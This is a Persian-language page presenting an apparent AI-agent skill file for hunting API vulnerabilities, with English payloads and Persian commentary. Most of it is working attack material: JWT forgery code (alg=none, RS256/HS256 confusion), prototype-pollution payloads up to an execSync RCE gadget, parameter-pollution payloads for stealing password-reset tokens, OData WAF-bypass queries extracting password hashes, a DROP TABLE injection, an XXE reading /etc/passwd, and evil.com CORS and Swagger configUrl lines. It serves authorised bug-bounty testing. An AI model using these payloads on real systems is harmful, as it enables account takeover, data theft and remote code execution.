نقشهی ساختار اسکیل
روی هر گره کلیک کنید تا به بخش مربوطه بروید؛ دکمهی «سورس MD» در هدر هر بخش، متن اصلی را با شمارهی خط میآورد.
بخشهای اسکیل
هر بخش با عنوان فارسی، نوع محتوا و توضیح فارسی نمایش داده شده. روی «سورس MD» کلیک کنید تا متن اصلی انگلیسی با شمارهی خطوط فایل در نمایشگر کناری باز شود.
بخش تکمیلی
12. API SECURITY MISCONFIGURATIONبخش تکمیلی سند که در دستهبندی استاندارد نگنجیده است
Mass Assignment
User.update(req.body) // body has {"role": "admin"} → privilege escalation
الگوریتم None مربوط به JWT
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": 1, "role": "admin"}
token = base64(header) + "." + base64(payload) + "." # no signature
ابهام الگوریتم RS256 ← HS256 مربوط به JWT
# Get server's public key from /.well-known/jwks.json
# Sign token with public key as HMAC secret
token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")
# Server uses RS256 key as HS256 secret → accepts it
آلودگی Prototype
// Server-side — Node.js merge without protection
{"__proto__": {"admin": true}}
{"constructor": {"prototype": {"admin": true}}}
// URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin
برای آلودگی prototype سمتسرور، اول primitive مربوط به merge آبجکت را شکار کن، بعد یک sink. endpointهای آپدیت JSON/آبجکت را ترجیح بده مثل profile، address، preferences، settings، cart، admin job، import یا پیکربندی webhook. روی پاسخ ۲۰۰ به __proto__ متوقف نشو؛ اثبات کن state مربوط به prototype آلوده به عملیات بعدی میرسد.
توالی شکار:
- endpoint آپدیت-آبجکت پیدا کن. endpointهایی که فیلدهای نامدار زیاد یا آبجکتهای JSON قبول میکنند را ترجیح بده. وقتی اپ فرم قبول میکند هر دو encoding مربوط به JSON و فرم را امتحان کن. فیلدهای CSRF/session را وقتی لازم است بگنجان.
- propertyهای مارکر بیضرر را آلوده کن. واریانتهایی مثل این بفرست:
{"__proto__":{"polluted":"pp-1337"}}
{"constructor":{"prototype":{"polluted":"pp-1337"}}}
__proto__[polluted]=pp-1337
constructor[prototype][polluted]=pp-1337
- یک sink جدا trigger کن. بعد از آلودگی، endpointهای account/profile/admin/job/export/search/render را درخواست کن و با baseline مقایسه کن. سیگنالهای قوی شامل تغییر پیشفرضهای JSON، فیلدهای غیرمنتظره، خطاهای سرور با ذکر propertyهای آبجکت، تغییر خروجی job، خطاهای template/render یا تغییر رفتار command/job است.
- فقط از طریق sinkهای آموختهشده تشدید کن. propertyهای کاندید به sink بستگی دارند:
{"__proto__":{"json spaces":10}}
{"__proto__":{"status":555}}
{"__proto__":{"isAdmin":true,"role":"admin"}}
{"__proto__":{"shell":"/bin/bash","argv0":"node","NODE_OPTIONS":"--inspect"}}
{"__proto__":{"execArgv":["--eval","process.mainModule.require('child_process').execSync('id')"]}}
- برای لبهای exfiltration یا impact واقعی، اثبات غیرمخرب را ترجیح بده. اگر یک job مدیریتی، endpoint تشخیصی، export یا rendering دیفالتهای آلوده را مصرف میکند، از مارکر یا خواندن environment/secret فقط وقتی مجاز است استفاده کن. در production روی مارکر کنترلشده متوقف شو مگر scope صراحتاً دسترسی داده را اجازه دهد.
آلودگی پارامتر سمتسرور در ساخت URL بکاند / REST
از این استفاده کن وقتی یک فرم یا endpoint فرانتاند بهنظر میرسد API سمتسرور را از طرف تو صدا میزند (بازیابی پسورد، جستجوی اکانت، fetch پروفایل، جستجوی محصول، چک موجودی، جستجو). باگ، آلودگی کوئری سمت-کلاینت معمولی نیست. سرور ورودی تو را میگیرد و داخل مسیر یا query string مربوط به URL بکاند درونیابی میکند، مثل:
/api/internal/users/<username>/field/email
/api/users/<id>
/api/users?username=<username>&field=email
توالی شکار:
- فلو را پیدا کن و درخواست کلاینت را بخوان. صفحه و هر جاوااسکریپت ارجاعشده را fetch کن. دنبال اکشنهای فرم،
fetch(...)، فیلدهای مخفی CSRF و نام دقیق پارامتری که مرورگر میفرستد بگرد. اگر فرم reset/account هست، اول usernameهای شناختهشده را تست کن تا شکل موفقیت/خطای عادی را یاد بگیری. - تعیین کن ورودی به مسیر بکاند میرسد یا کوئری. متاکاراکترهای URL را در ورودی بفرست:
#،?،&x=y،/،../و فرمهای encodeشده%23،%3f،%26x=y،%2f،%2e%2e%2f. خطاهای متمایز مثلInvalid route،API definition،unsupported fieldیا تغییر فیلدهای برگشتی یعنی مقدار تو توسط router مربوط به URL سمتسرور تفسیر میشود، نه صرفاً بهعنوان متن اعتبارسنجی. - با path traversal داخل URL سمتسرور جابهجا شو. اگر
username/../other-userاکانت ارجاعشده را عوض کند، ورودی در یک سگمنت مسیر REST است. بعد fragmentهای مسیری مثل/field/email،/field/id،/field/username،/field/passwordResetTokenرا اضافه کن و بقیهی مسیر اصلی بکاند را با#یا%23خاتمه بده وقتی parser مربوط به URL بکاند fragment را honour میکند. - مستندات API را از خطاها کشف کن. وقتی خطا میگوید به تعریف API مراجعه کن، مسیرهای رایج documentation/spec را probe کن:
/openapi.json،/swagger.json،/api-docs،/api/swagger.json،/swagger/v1/swagger.json،/v3/api-docsو واریانتهای path-traversal که سعی میکنند از مسیر آسیبپذیر بکاند به spec برسند. یک spec یا خطای مسیر توصیفی، منابع و نام فیلدهای معتبر را به تو میگوید. - فقط برای اثبات impact اکسپلویت کن. برای فلوهای password reset/جستجوی اکانت، قویترین اثبات یک فیلد حساس مثل توکن reset یا secret کاربر دیگر است، بعد استفاده از آن توکن در فلوی عادی اپلیکیشن برای تکمیل تسخیر اکانت. روی
Invalid routeمتوقف نشو؛ از خطاها بهعنوان بازخورد routing استفاده کن.
الگوهای payload برای امتحان، تطبیقدادهشده با نام پارامتر مشاهدهشده:
username=administrator%23
username=administrator%3f
username=administrator%2f..%2fvictimuser
username=administrator/../victimuser
username=administrator/field/email%23
username=administrator/field/id%23
username=administrator/field/passwordResetToken%23
username=administrator%2ffield%2fpasswordResetToken%23
اکسپلویت CORS
# Test: reflected origin + credentials
curl -s -I -H "Origin: https://evil.com" https://target.com/api/user/me
# If: Access-Control-Allow-Origin: https://evil.com + Access-Control-Allow-Credentials: true
# → CRITICAL: attacker reads credentialed responses
تکنیکهای Bypass
OData $filter / $select / $expand WAF-Blacklist Bypass (2024-2026 surface)نگاشت دفاع ← دورزدن و payloadهای جایگزین برای کنترلهای شناختهشده
OData (Open Data Protocol) لایهی کوئری پشت SharePoint، Microsoft Dynamics 365 / Power Platform، SAP NetWeaver Gateway / Fiori و هر پروژهی ASP.NET WebAPI با Microsoft.AspNetCore.OData است. operatorهای کوئری SQL-شکل (eq، ne، and، or، substringof، startswith، tolower، concat، replace) را در معرض میگذارد که SQL-طور بهنظر میرسند ولی SQL نیستند — یعنی WAFهای blacklist-کلماتی روتیناً روی ترافیک OData باز میشکنند.
کلاس حمله ۱ — استخراج کور boolean-logic از طریق `startswith` / `substringof`
GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'a')
GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'aa')
prefix را کاراکتر-به-کاراکتر iterate کن؛ cardinality پاسخ (یا @odata.count) اوراکل boolean است که صحت prefix را تأیید میکند. نه موتور SQLi لازم، نه کاراکترهای '/-- — WAF فقط keywordهای قانونی OData را میبیند. استخراجشده از Microsoft Dynamics 365 / Power Apps Portals: hashهای پسورد، نامها، ایمیلها، آدرسها، دادهی مالی در دسامبر ۲۰۲۳؛ مایکروسافت مه ۲۰۲۴ پچ کرد. (Stratus Security writeup، پوشش The Hacker News ژانویه ۲۰۲۵)
کلاس حمله ۲ — دورزدن افشای ستون با `$orderby` / `$select`
GET /api/data/v9.0/contacts?$orderby=emailaddress1 desc&$select=fullname
$orderby نام ستونهایی را قبول میکند که کاربر برای $select مجوز ندارد، ولی موتور همچنان روی آنها مرتب میکند — ترتیب برگشتی ستون محافظتشده را لو میدهد. ACLهای سطح-ستون روی projection ($select) enforce میشوند ولی روی $orderby / $filter نه — همان ستون محافظتشده، مسیر کد متفاوت. دومین یافتهی Stratus در همان افشای Dynamics 365؛ «خطرناکتر از اولی چون مستقیم داده را برمیگرداند» بهقول Stratus.
کلاس حمله ۳ — `$batch` مربوط به multipart/mixed ← امضاهای WAF سطح-درخواست عملیاتهای فرعی را از دست میدهند
POST /odata/$batch Content-Type: multipart/mixed; boundary=batch_1
--batch_1
Content-Type: application/http
GET Users?$filter=1 eq 1 HTTP/1.1
--batch_1--
WAFهایی که فقط بدنهی درخواست بیرونی را اسکن میکنند (یا multipart/mixed را نیتیو parse نمیکنند) هر عملیات درونی را رد میکنند. ModSecurity سابقاً multipart/mixed را رد میکرد (Issue #3296)؛ F5 فقط در Advanced WAF نسخهی ۱۶.۱ پارس نیتیو batch اضافه کرد (F5 SAP-Fiori advisory). مقالهی WAFFLED سال ۲۰۲۵ (arXiv 2503.10846) کلاس دورزدن parsing-discrepancy را در ۵ WAF بزرگ تعمیم میدهد.
کلاس حمله ۴ — operatorهای encodeشده / غیرcanonical ← دورزدن blacklist-کلماتی
GET /api?%24filter=Name%20eq%20'x'%20or%201%20eq%201 # URL-encoded $
GET /api?%2524filter=... # double-encoded
GET /Users(1)/$value # path-segment style
operatorهای حروف-مخلوط (Eq، EQ) و موارد مبهم (substringof، tolower، concat، replace) شبیه SELECT/UNION نیستند پس امضاهای کلیدواژهی SQLi هرگز فایر نمیشوند. WAFهایی که روی رشتهی literal $filter کلید میزنند هیچکدام از دو فرم را نمیبینند — ولی سرور OData هر دو را قبل از ارزیابی predicate نرمال میکند. از Kalra Black Hat AD ۲۰۱۲ مستند شده؛ ناسازگاری canonical مربوط به OData-در-برابر-WAF. (OWASP Double Encoding)
کلاس حمله ۵ — OData ← SQLi واقعی وقتی کتابخانه filter را خام عبور میدهد
$filter=Name eq 'x'); DROP TABLE Users--'
فقط وقتی trigger میشود که لایهی OData بهجای LINQ رشتهها را داخل SQL الحاق کند. در OData/WebApi Issue #2352 مستند شده. واریانت deserialization مربوط به XML: CVE-2019-17554 (Apache Olingo OData نسخهی ۴.۰.۰ تا ۴.۶.۰، XXE از طریق <!DOCTYPE foo [<!ENTITY x SYSTEM "file:///etc/passwd">]> در بدنهی application/xml، امتیاز CVSS ۷.۵). واریانت DoS: CVE-2018-8269 (بازگشت عمیق $filter در Microsoft.Data.OData ← سرریز stack).
بونس — IDOR مربوط به navigation-property از طریق `$expand`
GET /Orders?$expand=Customer($expand=PaymentMethods($expand=Card))
decoratorهای authorization روی entity setهای سطح-بالا اعمال شدهاند؛ موتور روی navigation propertyها join میزند بدون چک مجدد ACL روی entity متصل. همان علت ریشهای نشت انبوه ۳۸ میلیون رکوردی PowerApps Portals سال ۲۰۲۱ (UpGuard writeup).
heuristicهای تشخیص
- هدرهای پاسخ:
OData-Version: 4.0/DataServiceVersion: 3.0؛ مسیرهای URL مربوط به/_api/،/odata/،/_vti_bin/،/api/data/v9.x/،/sap/opu/odata/. -
$metadataرا امتحان کن ← اگر ناشناس باز باشد، کل schema (entity setها، navigation propertyها، function importها) مال توست. - هر entity set را با
$filter=1 eq 1،$top=1،$select=*probe کن، بعد$orderby=<column-you-shouldnt-see>برای ACL سطح-ستون. - همان payload را سهطور بفرست (
$filter=،%24filter=،%2524filter=) و از طریق$batch— رفتار واگرای WAF باگ parser-discrepancy را تأیید میکند.
مراحل استخراجشده
- ۱هدرهای پاسخ: `OData-Version: 4.0` / `DataServiceVersion: 3.0`؛ مسیرهای URL مربوط به `/_api/`، `/odata/`، `/_vti_bin/`، `/api/data/v9.x/`، `/sap/opu/odata/`.
- ۲`$metadata` را امتحان کن ← اگر ناشناس باز باشد، کل schema (entity setها، navigation propertyها، function importها) مال توست.
- ۳هر entity set را با `$filter=1 eq 1`، `$top=1`، `$select=*` probe کن، بعد `$orderby=<column-you-shouldnt-see>` برای ACL سطح-ستون.
- ۴همان payload را سهطور بفرست (`$filter=`، `%24filter=`، `%2524filter=`) و از طریق `$batch` — رفتار واگرای WAF باگ parser-discrepancy را تأیید میکند.
بخش تکمیلی
NSwag / Swagger / OpenAPI Spec Exposure (2024-2026 surface)بخش تکمیلی سند که در دستهبندی استاندارد نگنجیده است
NSwag زنجیرهابزار Swagger/OpenAPI برای ASP.NET Core است. مسیرهای پیشفرض (/swagger، /swagger/v1/swagger.json، /swagger/index.html) در خیلی از پروژههای .NET 6/7/8 فعال میآیند و توسعهدهندگان در production روشنشان میگذارند. spec افشاشده هر endpoint، متدهای HTTP، نام + نوع + فرمت + max-length پارامترها، مدلها و قواعد اعتبارسنجی را لو میدهد — نقشهی حملهی کامل در JSON.
مسیرهای کشف پیشفرض (ارجاعمتقاطع با `web2-recon`)
# NSwag / Swashbuckle (ASP.NET Core)
/swagger, /swagger/index.html, /swagger/v1/swagger.json, /swagger/v2/swagger.json, /swagger/v3/swagger.json
/swagger-ui, /swagger-ui/, /swagger-ui.html, /api-docs
/nswag, /nswag/index.html, /api/swagger, /api/swagger.json, /api/openapi.json
# Generic OpenAPI
/openapi, /openapi.json, /openapi.yaml, /.well-known/openapi.json
# Java / Spring (Springfox / springdoc)
/v2/api-docs, /v3/api-docs, /v3/api-docs.yaml, /swagger-resources
# Python (FastAPI / Connexion)
/docs, /redoc, /openapi.json
# Quarkus
/q/openapi, /q/swagger-ui
# GraphQL adjacent
/graphql, /graphiql, /playground, /altair, /voyager
ابزارها: kiterunner ذاتاً OpenAPI میخورد؛ sj (Swagger Jacker)، apidetector، XSSwagger.
زنجیرههای حمله
الف. افشای spec ← IDOR / BOLA انبوه. spec هر GET /api/v1/users/{userId}/... را لیست میکند. jq '.paths | keys' swagger.json ← مقدار {userId} را با ID قربانی از طریق Autorize یا ffuf -mc 200 عوض کن. کیس رایج: spec مسیر /api/admin/users/{id}/reset-password را لو میدهد که مستند است ولی [Authorize(Roles="Admin")] روی controller غایب است — ATO با امتیاز پایین.
ب. افشای spec ← ساخت payload مربوط به mass-assignment. components.schemas.UserUpdateDto هر فیلد مدل از جمله isAdmin، emailVerified، tenantId، role را enumerate میکند. مهاجم schema را عیناً داخل PATCH /users/me کپی میکند و فیلدهای باامتیاز را اضافه میکند. binder مربوط به [FromBody] سمت سرور آنها را قبول میکند وقتی DTOها به مدلهای read و write تفکیک نشدهاند.
ج. endpointهای پنهان. specها مسیرهای /internal/*، /debug/*، /v0/*، /legacy/* را مستند میکنند که هیچ UI فرانتاندی به آنها ارجاع نمیدهد. در دسترساند ولی توسط قواعد WAF پوشش داده نشدهاند و غالباً در بازبینیهای auth جا میمانند.
د. تسخیر configUrl مربوط به Swagger UI. Swagger UI کانفیگش را از ?configUrl= لود میکند. اگر sanitize نشده باشد، مهاجم یک spec مخرب OpenAPI هاست میکند و به قربانی لینکی به Swagger UI قانونی با ?configUrl=https://evil/spec.json میدهد. مسیرهای spec به origin قانونی برمیگردند پس کلیکهای «Try It Out» قربانی درخواستهای authenticated هم-origin فایر میکنند. (HackerOne #3124103 — Swagger UI Injection وزارت دفاع آمریکا، مه ۲۰۲۵)
کیسهای افشاشده
- CVE-2018-25031 — تزریق spec در Swagger UI نسخههای تا ۴.۱.۲ از طریق پارامتر URL؛ بهطور گسترده روی org.webjars:swagger-ui اثر میگذارد (در باندلهای Swashbuckle و NSwag جاسازیشده).
- DOM XSS مربوط به Swagger UI (۳.۱۴.۱ ← ۳.۳۸.۰) — DOMPurify قدیمی باندلشده + لود spec راهدور ← اجرای JS دلخواه در مرورگر قربانی (Vidoc Security Lab writeup، PortSwigger Daily Swig). روی PayPal، Atlassian، Microsoft، GitLab و Yahoo زنده گزارش شده.
- HackerOne #3124103 — وزارت دفاع آمریکا، Swagger UI Injection (مه ۲۰۲۵).
- HackerOne #2534300 — Ionity GmbH، تزریق HTML در Swagger UI.
- HackerOne #1656650 — XSS بازتابی از طریق پارامتر
url=مربوط به Swagger UI. - CloudSEK threat-intel (۲۰۲۴) — اکتورها از
swagger-uiافشاشده برای فراخوانی endpoint تأییدشدهی send-message مربوط به WhatsApp Business سوءاستفاده کردند و شرکت را جلوی مشتریانش جعل کردند. بیش از ۶۰۰۰ نمونهی افشاشدهی Swagger UI روی Shodan در زمان نگارش. (CloudSEK report) - CVE-2023-38337 — directory traversal در
rswag(زنجیرهابزار Swagger مربوط به Ruby) — یادآوری اینکه endpoint مربوط به spec خودش سطح حمله است.
چکلیست تشخیص
- هر مسیر بالا را با httpx روی کل مجموعهی سابدامین probe کن؛ پاسخ ۲۰۰ با
Content-Type: application/jsonو بدنهی تطابقیافته با"swagger"یا"openapi"را فلگ کن. - برای هر hit:
jq '.paths | keys' swagger.json← به kiterunner / Autorize بده. -
jq '.components.schemas' swagger.json← نامزدهای فیلد mass-assignment. - HTML مربوط به Swagger UI را برای رشتهی نسخه بنرگذاری کن؛ به جدول CVE-2018-25031 / DOM-XSS نگاشت کن.
- مدیریت پارامترهای
?configUrl=و?url=را روی هر hit مربوط به Swagger UI تست کن.
دروازهی اعتبارسنجی
Related Skills & Chainsچکلیستها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A
-
hunt-ato— Mass assignment روی signup/profile سریعترین مسیر به admin است. primitive زنجیره: mass assignment مربوط به API +hunt-ato←role=adminهنگام signup ست شد ← ATO از طریق نقش باامتیاز در اولین لاگین. -
hunt-auth-bypass— نقصهای JWT کل لایهی auth را فرومیریزند. primitive زنجیره:alg=noneمربوط به JWT +hunt-auth-bypass← هر کاربری را با ستکردنsubبه ID قربانی impersonate کن، بدون نیاز به امضا. -
hunt-rce— gadgetهای آلودگی prototype در dependencyهای Node.js (lodash، mongoose، jQuery) بهchild_process.spawnمیرسند. primitive زنجیره: آلودگی prototype (__proto__.shell=true) +hunt-rce(زنجیرهی gadget مربوط به Node.js) ← RCE روی گره API. -
hunt-subdomain— regex مربوط به CORS با سابدامین wildcard به هاست قابلتسخیر اعتماد دارد. primitive زنجیره: allowlist مربوط به CORS*.target.com+ تسخیر سابدامین ← origin تحتکنترل مهاجم پاسخهای API مربوط به credentialed را میخواند. -
security-arsenal— بخش payloadهای حملهی JWT را لود کن (alg=none، path traversal مربوط به kid، تزریق JWK، JWK جاسازیشده) و...
مراحل استخراجشده
- ۱`hunt-ato` — Mass assignment روی signup/profile سریعترین مسیر به admin است. primitive زنجیره: mass assignment مربوط به API + `hunt-ato` ← `role=admin` هنگام signup ست شد ← ATO از طریق نقش باامتیاز در اولین لاگین.
- ۲`hunt-auth-bypass` — نقصهای JWT کل لایهی auth را فرومیریزند. primitive زنجیره: `alg=none` مربوط به JWT + `hunt-auth-bypass` ← هر کاربری را با ستکردن `sub` به ID قربانی impersonate کن، بدون نیاز به امضا.
- ۳`hunt-rce` — gadgetهای آلودگی prototype در dependencyهای Node.js (lodash، mongoose، jQuery) به `child_process.spawn` میرسند. primitive زنجیره: آلودگی prototype (`__proto__.shell=true`) + `hunt-rce` (زنجیرهی gadget مربوط به Node.js) ← RCE روی گره API.
- ۴`hunt-subdomain` — regex مربوط به CORS با سابدامین wildcard به هاست قابلتسخیر اعتماد دارد. primitive زنجیره: allowlist مربوط به CORS `*.target.com` + تسخیر سابدامین ← origin تحتکنترل مهاجم پاسخهای API مربوط به credentialed را میخواند.
- ۵`security-arsenal` — بخش payloadهای حملهی JWT را لود کن (alg=none، path traversal مربوط به kid، تزریق JWK، JWK جاسازیشده) و...